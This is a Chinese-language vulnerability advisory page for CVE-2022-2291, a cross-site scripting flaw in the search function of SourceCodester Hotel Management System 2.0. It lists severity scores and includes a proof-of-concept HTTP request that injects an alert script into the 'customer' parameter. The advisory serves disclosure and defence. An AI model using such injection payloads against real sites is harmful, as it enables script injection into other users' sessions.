SourceCodester Hotel Management System 2.0 Search /ci_hms/search 搜索跨网站脚本

历史差异连接jsonxmlCTI

CVSS 元临时分数	当前攻击价格 (≈)	CTI兴趣分数
4.5	$0-$5k	0.00

摘要信息

在SourceCodester Hotel Management System 2.0中曾发现一漏洞，此漏洞被分类为棘手。受影响的是未知功能文件：/ci_hms/search的组件:搜索。对参数搜索输入值"><script>alert("XSS")</script>的操作导致跨网站脚本。此漏洞被标识为CVE-2022-2291。攻击可以远程发起，另外，有可用的漏洞利用。

在SourceCodester Hotel Management System 2.0中曾发现一漏洞，此漏洞被分类为棘手。受影响的是未知功能文件：/ci_hms/search的组件:搜索。对参数搜索输入值"><script>alert("XSS")</script>的操作导致跨网站脚本。使用 CWE 声明该问题会导致 CWE-79。此漏洞的脆弱性 2022-07-03所提交。该安全通告已在 github.com 提供下载。

此漏洞被标识为CVE-2022-2291。攻击可以远程发起，技术详情可用。该漏洞的流行度低于平均水平。另外，有可用的漏洞利用。该漏洞的利用方式已向公众披露，存在被利用的风险。现在，可能约为美元 $0-$5k。 MITRE ATT&CK 项目将该攻击技术定义为 T1059.007。该漏洞产生的原因是如下代码：

POST /ci_hms/search HTTP/1.1
Host: localhost
Content-Length: 11
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/ci_hms/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: ci_session=9kn2p06ccqlaaf2fft0qpgso3qdgj7j1
Connection: close
customer="><script>alert("XSS")</script>

如果存在长度，则其被声明为概念验证。该漏洞利用的共享下载地址为：github.com。估计零日攻击的地下价格约为$0-$5k。

产品信息

类型

Hospitality Software

供应商

SourceCodester

名称

Hotel Management System

版本

许可证

自由

网站

供应商: https://www.sourcecodester.com/

CPE 2.3信息

CPE 2.2信息

CVSSv4信息

VulDB 向量: 🔍
VulDB 可靠性: 🔍

CVSSv3信息

VulDB 元基础分数: 4.7
VulDB 元临时分数: 4.5

VulDB 基本分数: 4.3
VulDB 临时得分: 3.9
VulDB 向量: 🔍
VulDB 可靠性: 🔍

NVD 基本分数: 5.4
NVD 向量: 🔍

CNA 基本分数: 4.3
CNA 向量 (VulDB): 🔍

CVSSv2信息

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

向量	复杂性	身份验证	保密	完整性	可用性
开锁	开锁	开锁	开锁	开锁	开锁
开锁	开锁	开锁	开锁	开锁	开锁
开锁	开锁	开锁	开锁	开锁	开锁

VulDB 基本分数: 🔍
VulDB 临时得分: 🔍
VulDB 可靠性: 🔍

NVD 基本分数: 🔍

利用信息

分类: 跨网站脚本
CWE: CWE-79 / CWE-94 / CWE-74
CAPEC: 🔍
ATT&CK: 🔍

身体的: 否
本地: 否
远程: 是

可用性: 🔍
访问: 公共
状态: 概念验证
下载: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

价格预测: 🔍
当前价格估算: 🔍